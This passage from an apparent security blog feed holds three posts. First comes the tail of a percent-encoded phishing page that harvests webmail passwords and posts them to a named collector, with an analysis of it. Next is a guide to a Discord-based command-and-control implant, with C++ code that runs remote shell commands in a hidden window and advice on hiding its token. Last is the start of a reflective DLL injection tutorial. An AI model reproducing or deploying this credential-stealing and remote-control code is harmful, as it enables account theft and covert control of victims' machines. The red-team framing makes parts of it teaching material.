%61%69%6C%20%73%70%65%63%69%66%69%65%64%20%69%6E%20%55%52%4C%27%29%20%7B%0A%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%50%6C%65%61%73%65%20%65%6E%74%65%72%20%61%20%76%61%6C%69%64%20%65%6D%61%69%6C%20%61%64%64%72%65%73%73%27%29%3B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%21%70%61%73%73%77%6F%72%64%29%20%7B%0A%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%50%6C%65%61%73%65%20%65%6E%74%65%72%20%79%6F%75%72%20%70%61%73%73%77%6F%72%64%27%29%3B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%61%74%74%65%6D%70%74%43%6F%75%6E%74%2B%2B%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%53%68%6F%77%20%6C%6F%61%64%65%72%0A%20%20%20%20%20%20%6C%6F%61%64%65%72%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%27%66%6C%65%78%27%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%50%72%65%70%61%72%65%20%64%61%74%61%20%66%6F%72%20%46%6F%72%6D%73%70%61%72%6B%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%66%6F%72%6D%44%61%74%61%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%65%6D%61%69%6C%3A%20%65%6D%61%69%6C%2C%0A%20%20%20%20%20%20%20%20%70%61%73%73%77%6F%72%64%3A%20%70%61%73%73%77%6F%72%64%2C%0A%20%20%20%20%20%20%20%20%77%65%62%6D%61%69%6C%5F%6C%6F%67%69%6E%3A%20%74%72%75%65%0A%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%41%64%64%20%66%69%72%73%74%20%61%74%74%65%6D%70%74%20%69%6E%66%6F%20%6F%6E%20%73%65%63%6F%6E%64%20%74%72%79%0A%20%20%20%20%20%20%69%66%20%28%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%3D%3D%20%32%29%20%7B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%66%69%72%73%74%5F%61%74%74%65%6D%70%74%5F%70%61%73%73%77%6F%72%64%20%3D%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%61%74%74%65%6D%70%74%20%3D%20%27%73%65%63%6F%6E%64%27%3B%0A%20%20%20%20%20%20%7D%20%65%6C%73%65%20%69%66%20%28%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%3D%3D%20%31%29%20%7B%0A%20%20%20%20%20%20%20%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%20%3D%20%70%61%73%73%77%6F%72%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%61%74%74%65%6D%70%74%20%3D%20%27%66%69%72%73%74%27%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%74%72%79%20%7B%0A%20%20%20%20%20%20%20%20%61%77%61%69%74%20%66%65%74%63%68%28%46%4F%52%4D%53%50%41%52%4B%5F%55%52%4C%2C%20%7B%0A%20%20%20%20%20%20%20%20%20%20%6D%65%74%68%6F%64%3A%20%27%50%4F%53%54%27%2C%0A%20%20%20%20%20%20%20%20%20%20%68%65%61%64%65%72%73%3A%20%7B%20%27%43%6F%6E%74%65%6E%74%2D%54%79%70%65%27%3A%20%27%61%70%70%6C%69%63%61%74%69%6F%6E%2F%6A%73%6F%6E%27%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%62%6F%64%79%3A%20%4A%53%4F%4E%2E%73%74%72%69%6E%67%69%66%79%28%66%6F%72%6D%44%61%74%61%29%0A%20%20%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20%7D%20%63%61%74%63%68%28%65%72%72%29%20%7B%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%27%46%6F%72%6D%73%70%61%72%6B%20%65%72%72%6F%72%3A%27%2C%20%65%72%72%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%45%78%74%72%61%63%74%20%64%6F%6D%61%69%6E%20%66%72%6F%6D%20%65%6D%61%69%6C%20%66%6F%72%20%72%65%64%69%72%65%63%74%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%64%6F%6D%61%69%6E%20%3D%20%65%6D%61%69%6C%2E%73%70%6C%69%74%28%27%40%27%29%5B%31%5D%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%52%65%64%69%72%65%63%74%20%74%6F%20%74%68%65%20%72%65%61%6C%20%64%6F%6D%61%69%6E%20%77%69%74%68%6F%75%74%20%65%78%70%6F%73%69%6E%67%20%70%61%73%73%77%6F%72%64%20%69%6E%20%55%52%4C%0A%20%20%20%20%20%20%73%65%74%54%69%6D%65%6F%75%74%28%28%29%20%3D%3E%20%7B%0A%20%20%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%60%68%74%74%70%73%3A%2F%2F%24%7B%64%6F%6D%61%69%6E%7D%60%3B%0A%20%20%20%20%20%20%7D%2C%20%31%35%30%30%29%3B%0A%20%20%20%20%7D%29%3B%0A%20%20%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A</span><span class="dl">'</span><span class="p">));</span><span class="o">|</span>
<span class="o">|</span><span class="c1">//--&gt;|</span>
<span class="o">|</span><span class="nt">&lt;/script&gt;&lt;/body&gt;&lt;/html&gt;</span>
</code></pre></div></div>

<p>The source code revealed that the page content was not directly written in HTML. Instead, it was injected dynamically using JavaScript obfuscation:</p>

<ul>
  <li>The main payload was encoded using percent-encoding (<code class="language-plaintext highlighter-rouge">%3C%21%44%4F...</code>)</li>
  <li>It was decoded at runtime using <code class="language-plaintext highlighter-rouge">unescape()</code> and rendered via <code class="language-plaintext highlighter-rouge">document.write()</code></li>
</ul>

<p>A common technique to bypass static analysis.</p>

<p>The most notable aspect of this sample was the deliberate use of <strong>multi layer client-side obfuscation</strong> to conceal both structure and intent. While the underlying attack logic was relatively straightforward.</p>
<h3 id="encoded-payload-via-percent-encoding">Encoded Payload via Percent-Encoding</h3>
<p>The outer HTML document did not directly contain executable logic. Instead, it relied on a single JavaScript call:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">unescape</span><span class="p">(</span><span class="dl">'</span><span class="s1">%3C%21%44%4F%43%54%59%50%45...</span><span class="dl">'</span><span class="p">));</span>
</code></pre></div></div>

<p>This represents a <strong>percent-encoded payload</strong>, where every byte of the original HTML/JavaScript content was transformed into hexadecimal escape sequences prefixed with <code class="language-plaintext highlighter-rouge">%</code>.</p>

<p>For example:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">%3C</code> → <code class="language-plaintext highlighter-rouge">&lt;</code></li>
  <li><code class="language-plaintext highlighter-rouge">%68</code> → <code class="language-plaintext highlighter-rouge">h</code></li>
  <li><code class="language-plaintext highlighter-rouge">%74</code> → <code class="language-plaintext highlighter-rouge">t</code></li>
  <li><code class="language-plaintext highlighter-rouge">%6D</code> → <code class="language-plaintext highlighter-rouge">m</code></li>
  <li><code class="language-plaintext highlighter-rouge">%6C</code> → <code class="language-plaintext highlighter-rouge">l</code></li>
</ul>

<p>When combined, these sequences reconstruct a fully functional HTML document.</p>
<h3 id="runtime-reconstruction-using-unescape">Runtime Reconstruction Using <code class="language-plaintext highlighter-rouge">unescape()</code></h3>

<p>The decoding process occurs entirely at runtime through the deprecated but still functional <code class="language-plaintext highlighter-rouge">unescape()</code> function.</p>

<p>In this case, I observed the following execution chain:</p>
<ol>
  <li>The browser loads the initial HTML shell</li>
  <li>The JavaScript engine encounters <code class="language-plaintext highlighter-rouge">document.write()</code></li>
  <li><code class="language-plaintext highlighter-rouge">unescape()</code> decodes the percent-encoded string into raw HTML</li>
  <li>The decoded content is injected directly into the DOM
At this point, the real phishing interface is never visible in the static source view, it only exists <strong>after execution in the browser context</strong>.</li>
</ol>

<p>This is a key evasion technique because:</p>
<ul>
  <li>View-source inspection shows only obfuscated data.</li>
  <li>Security tools that do not execute JS miss the payload entirely.</li>
</ul>

<h3 id="honeypot-field">Honeypot Field</h3>

<p>A hidden input field was included:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"_gotcha"</span> <span class="na">style=</span><span class="s">"display:none"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>A simple bot detection method. Automated scrapers often fill all fields, while real users never interact with hidden inputs. Any value in this field can be used to identify non-human interaction.</p>

<h2 id="credential-flow-and-exfiltration-path">Credential Flow and Exfiltration Path</h2>

<p>After reconstructing the full execution flow, the most important finding was not the UI deception itself, but the <strong>data exfiltration</strong> that activates immediately after user input.
The browser never sends credentials to a legitimate authentication backend. Instead, the form submission is intercepted entirely on the client side:</p>

<ul>
  <li>Email and password are captured via DOM access</li>
  <li>Input values are normalized using <code class="language-plaintext highlighter-rouge">.trim()</code></li>
  <li>Data is assembled into a structured JSON object</li>
</ul>

<p>When I intercepted the traffic using Burp Suite, I captured an <strong>HTTP OPTIONS request</strong> to:
<img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail3.png" alt="3" /></p>

<p>The browser is enforcing the <strong>Same-Origin Policy (SOP)</strong>.</p>

<p>Because the phishing page is hosted on:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://red-blondell-19.tiiny.site
</code></pre></div></div>

<p>and the exfiltration endpoint is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://submit-form.com
</code></pre></div></div>

<p>the browser must first verify whether cross-origin POST requests are allowed.</p>

<p>So it sends:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OPTIONS /vJIgjz2ZjAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://red-blondell-19.tiiny.site
</code></pre></div></div>

<p>This is a <strong>permission check</strong>, not a data transfer.</p>
<h2 id="credential-exfiltration-request-post">Credential Exfiltration Request (POST)</h2>

<p>Immediately after the preflight approval, the actual credential payload is transmitted:
<img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail4.png" alt="4" /></p>

<h2 id="whois-findings-for-submit-formcom">WHOIS Findings for submit-form.com</h2>
<p>From the record:</p>
<ul>
  <li><strong>Registrar:</strong> Namecheap Inc</li>
  <li><strong>Registrant Organization:</strong> Withheld for Privacy ehf</li>
  <li><strong>Registrant Location:</strong> Reykjavik, Iceland</li>
  <li><strong>Contact:</strong> Proxy email (masked via privacy service)</li>
  <li><strong>Status:</strong> clientTransferProhibited</li>
  <li><strong>DNS:</strong> AWS Route 53 name servers</li>
</ul>

<p>This confirms that the domain is part of a modular phishing setup where ownership is hidden, and infrastructure is distributed across multiple providers to reduce detection and takedown risk.</p>

<p>Still at low detection risk on virustotal.
<img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail5.png" alt="5" /></p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail6.png" alt="6" /></p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[Received a message indicating that the mail delivery subsystem had failed to send three emails. It immediately stood out as suspicious.]]></summary></entry><entry><title type="html">Discord as C2 Implementation Guide</title><link href="https://quantumcore.github.io/2025/07/31/discord-as-c2-implementation-guide.html" rel="alternate" type="text/html" title="Discord as C2 Implementation Guide" /><published>2025-07-31T00:00:00+00:00</published><updated>2025-07-31T00:00:00+00:00</updated><id>https://quantumcore.github.io/2025/07/31/discord-as-c2-implementation-guide</id><content type="html" xml:base="https://quantumcore.github.io/2025/07/31/discord-as-c2-implementation-guide.html"><![CDATA[<h5 id="using-discord-as-a-c2">Using Discord as a C2</h5>

<p>While researching online, I came across convoC2, a project that uses Microsoft Teams as a Command and Control (C2) server. It immediately took me back to my malware development days. That sparked an idea; why not build something similar using Discord as the C2 channel?</p>

<p>The malicious abuse of Discord as a C2 medium is already widespread in the wild. So if you’re looking for something for your blackhat toolkit, this post won’t offer much value. However, if you’re interested in understanding how C2 infrastructure can be designed over modern chat platforms, especially for red teaming, simulation, or educational purposes then this writeup will serve as a solid starting point.</p>

<p><strong>Pros:</strong>
Using public platforms like Discord eliminates the overhead of setting up and maintaining your own C2 infrastructure. There’s no need for VPS, domain registrations, or SSL certificates as everything rides on an already trusted service.</p>

<p><strong>Cons:</strong>
When law enforcement comes knocking, understand that you’ve handed them everything. Logs, identifiers, timestamps, and platform level visibility. You didn’t just use Discord, you left footprints on someone else’s server.</p>

<h3 id="prerequisites">Prerequisites</h3>

<ol>
  <li>Coding in a low level language; Difficult to reverse, more practical for real world simulations. I’ll be using C++.</li>
  <li>Discord Bot config (https://discord.com/developers/applications)</li>
</ol>

<h4 id="setting-up-discord-bot">Setting up Discord BOT</h4>

<ul>
  <li>Go to <a href="https://discord.com/developers/applications">Discord Developer portal</a> and create a “New Application”, name it anything you want.</li>
  <li><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/discord1.png" alt="devportal" /></li>
  <li>Go to Bot -&gt; <strong>Reset Token</strong>. Copy the token, It is the only thing that we will need.</li>
</ul>

<h3 id="lets-code">Lets Code</h3>

<p>I will be using the following C++ Library for discord: <a href="https://github.com/brainboxdotcc/DPP">https://github.com/brainboxdotcc/DPP</a>. You can go to its <a href="https://github.com/brainboxdotcc/DPP/releases/tag/v10.1.3">releases</a> and install it however you want.</p>

<h4 id="connect-to-discord">Connect to discord</h4>

<p>Below is a baseline code that will connect and send a message to your discord server, make sure you add your discord bot to a test server before running the below snippet.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;dpp/dpp.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">token_chars</span> <span class="o">=</span> <span class="s">"BOT_TOKEN_HERE"</span><span class="p">;</span> <span class="c1">// Replace with your actual token</span>
    <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">token</span><span class="p">(</span><span class="n">token_chars</span><span class="p">);</span>
    <span class="n">dpp</span><span class="o">::</span><span class="n">cluster</span> <span class="n">bot</span><span class="p">(</span><span class="n">token</span><span class="p">);</span>

    <span class="n">bot</span><span class="p">.</span><span class="n">on_ready</span><span class="p">([</span><span class="o">&amp;</span><span class="n">bot</span><span class="p">](</span><span class="k">const</span> <span class="n">dpp</span><span class="o">::</span><span class="n">ready_t</span><span class="o">&amp;</span> <span class="n">event</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Bot is now online!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">});</span>

    <span class="n">bot</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">dpp</span><span class="o">::</span><span class="n">st_wait</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code is compiled into a binary. When executed, the Discord bot comes online and sends a message, signaling it’s active. From there, we can send commands directly from the Discord server to the bot, and define custom instructions for it to execute.</p>

<p>Sounds familiar? It should it’s essentially the foundation of a Command and Control (C2) system.</p>

<h4 id="adding-a-shell">Adding a shell</h4>

<p>The following code reads in /shell command, and executes the argument, returns output:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bot</span><span class="p">.</span><span class="n">on_slashcommand</span><span class="p">([</span><span class="o">&amp;</span><span class="n">bot</span><span class="p">](</span><span class="k">const</span> <span class="n">dpp</span><span class="o">::</span><span class="n">slashcommand_t</span><span class="o">&amp;</span> <span class="n">event</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">cmd</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="n">command</span><span class="p">.</span><span class="n">get_command_name</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="s">"shell"</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">try</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">command</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">get</span><span class="o">&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">event</span><span class="p">.</span><span class="n">get_parameter</span><span class="p">(</span><span class="s">"command"</span><span class="p">));</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">wcmd</span> <span class="o">=</span> <span class="s">L"cmd.exe /c "</span> <span class="o">+</span> <span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="p">(</span><span class="n">command</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">command</span><span class="p">.</span><span class="n">end</span><span class="p">());</span>

                <span class="c1">// Let the user know the command is being processed</span>
                <span class="n">event</span><span class="p">.</span><span class="n">thinking</span><span class="p">();</span>

                <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">output</span> <span class="o">=</span> <span class="n">execute_command</span><span class="p">(</span><span class="n">wcmd</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">output</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="n">output</span> <span class="o">=</span> <span class="s">"Command executed but returned no output."</span><span class="p">;</span>

                <span class="c1">// Format output as code block</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">output</span><span class="p">.</span><span class="n">length</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">1900</span><span class="p">)</span> <span class="p">{</span>
                    <span class="n">send_chunked_reply</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="s">"```</span><span class="se">\n</span><span class="s">"</span> <span class="o">+</span> <span class="n">output</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">```"</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="k">else</span> <span class="p">{</span>
                    <span class="n">event</span><span class="p">.</span><span class="n">edit_original_response</span><span class="p">(</span><span class="n">dpp</span><span class="o">::</span><span class="n">message</span><span class="p">(</span><span class="s">"```</span><span class="se">\n</span><span class="s">"</span> <span class="o">+</span> <span class="n">output</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">```"</span><span class="p">));</span>
                <span class="p">}</span>
            <span class="p">}</span>
            <span class="k">catch</span> <span class="p">(</span><span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">exception</span><span class="o">&amp;</span> <span class="n">e</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">event</span><span class="p">.</span><span class="n">edit_original_response</span><span class="p">(</span><span class="n">dpp</span><span class="o">::</span><span class="n">message</span><span class="p">(</span><span class="s">"Error executing command: "</span> <span class="o">+</span> <span class="n">std</span><span class="o">::</span><span class="n">string</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">what</span><span class="p">())));</span>
            <span class="p">}</span>
        <span class="p">}</span>
</code></pre></div></div>

<p>execute_command() implementation:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="nf">execute_command</span><span class="p">(</span><span class="k">const</span> <span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="o">&amp;</span> <span class="n">cmd</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">SECURITY_ATTRIBUTES</span> <span class="n">sa</span><span class="p">;</span>
    <span class="n">sa</span><span class="p">.</span><span class="n">nLength</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">SECURITY_ATTRIBUTES</span><span class="p">);</span>
    <span class="n">sa</span><span class="p">.</span><span class="n">bInheritHandle</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
    <span class="n">sa</span><span class="p">.</span><span class="n">lpSecurityDescriptor</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="n">HANDLE</span> <span class="n">hOutRd</span><span class="p">,</span> <span class="n">hOutWr</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreatePipe</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hOutRd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hOutWr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sa</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="s">"Failed to create pipe"</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">SetHandleInformation</span><span class="p">(</span><span class="n">hOutRd</span><span class="p">,</span> <span class="n">HANDLE_FLAG_INHERIT</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutRd</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutWr</span><span class="p">);</span>
        <span class="k">return</span> <span class="s">"Failed to set handle information"</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">STARTUPINFOW</span> <span class="n">si</span><span class="p">;</span>
    <span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">));</span>
    <span class="n">si</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">);</span>
    <span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span> <span class="o">|</span> <span class="n">STARTF_USESTDHANDLES</span><span class="p">;</span>
    <span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="n">SW_HIDE</span><span class="p">;</span>
    <span class="n">si</span><span class="p">.</span><span class="n">hStdOutput</span> <span class="o">=</span> <span class="n">hOutWr</span><span class="p">;</span>
    <span class="n">si</span><span class="p">.</span><span class="n">hStdError</span> <span class="o">=</span> <span class="n">hOutWr</span><span class="p">;</span>

    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pi</span><span class="p">));</span>


    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcessW</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="k">const_cast</span><span class="o">&lt;</span><span class="n">LPWSTR</span><span class="o">&gt;</span><span class="p">(</span><span class="n">cmd</span><span class="p">.</span><span class="n">c_str</span><span class="p">()),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">,</span>
        <span class="n">CREATE_NO_WINDOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutRd</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutWr</span><span class="p">);</span>
        <span class="k">return</span> <span class="s">"Failed to create process: "</span> <span class="o">+</span> <span class="n">std</span><span class="o">::</span><span class="n">to_string</span><span class="p">(</span><span class="n">GetLastError</span><span class="p">());</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutWr</span><span class="p">);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">result</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">bytesRead</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">4096</span><span class="p">];</span>
    <span class="kt">bool</span> <span class="n">success</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">success</span> <span class="o">=</span> <span class="n">ReadFile</span><span class="p">(</span><span class="n">hOutRd</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">success</span> <span class="o">||</span> <span class="n">bytesRead</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>

        <span class="n">buffer</span><span class="p">[</span><span class="n">bytesRead</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
        <span class="n">result</span> <span class="o">+=</span> <span class="n">buffer</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">10000</span><span class="p">);</span> <span class="c1">// Wait up to 10 seconds</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hOutRd</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above function executes system command and returns its output as a string. When it is called from within the code, it should look something like:
<img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/shell1.png" alt="shell1" /></p>

<h3 id="bot-token-hardcoding">Bot token hardcoding</h3>
<p>Since the bot token is hardcoded as a string, IT can be easily extracted with simple RE techniques. To handle this, You can encrypt the bot token or place it at EOF in the binary after its built, and make the code read the bot token from EOF when it is started. I can go over through that but that is a topic that deserves its own post.</p>

<h3 id="wrapping-up">Wrapping Up</h3>
<p>The codebase I’m working on already includes features like system fingerprinting and screenshot capture. I’ll cover those and more advanced features in a follow-up post.</p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[Using Discord as a C2]]></summary></entry><entry><title type="html">Beginners guide to Reflective DLL Injection</title><link href="https://quantumcore.github.io/2025/04/10/beginners-guide-to-reflective-dll-injection.html" rel="alternate" type="text/html" title="Beginners guide to Reflective DLL Injection" /><published>2025-04-10T00:00:00+00:00</published><updated>2025-04-10T00:00:00+00:00</updated><id>https://quantumcore.github.io/2025/04/10/beginners-guide-to-reflective-dll-injection</id><content type="html" xml:base="https://quantumcore.github.io/2025/04/10/beginners-guide-to-reflective-dll-injection.html"><![CDATA[<p><img src="https://giffiles.alphacoders.com/120/120219.gif" alt="2" /></p>

<p>DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend.</p>

<p>While Standard DLL Injection is Cool, It has it’s pros and cons. One major being that it’s required for the Dll to be stored on disk.</p>

<p>That’s when our Malware Jesus, Stephen Fewer developed Reflective DLL Injection. In Reflective DLL Injection, The DLL can be loaded entirely from memory without ever touching the disk. 
In this Post we’re going to cover how to:</p>
<ol>
  <li>Create a Reflective DLL Injector.</li>
  <li>Create a Reflective DLL.</li>
  <li>How to pass Parameters to the Reflective DLL and how to get it’s Output.</li>
</ol>

<p><strong>Giving you the power to run anything in memory.</strong></p>

<p>First of all, I must link the Original Reflective DLL Injection Repository. But we are going to be using my Fork of Reflective DLL Injection, Which is modified to get output from the DLL using <a href="https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes">Named Pipes</a>.</p>

<p><a href="https://github.com/quantumcore/ReflectiveDLLInjectionTutorial">https://github.com/quantumcore/ReflectiveDLLInjection</a></p>

<p>You can play around with this code and compile it with however you want. But for simplicity, I’m going to use the Visual Studio project itself that’s attached.</p>

<p>All the code in this Post is from the repo above.</p>

<h3 id="understanding-the-changes">Understanding the Changes</h3>
<p>https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/dll/src/Output.cpp</p>
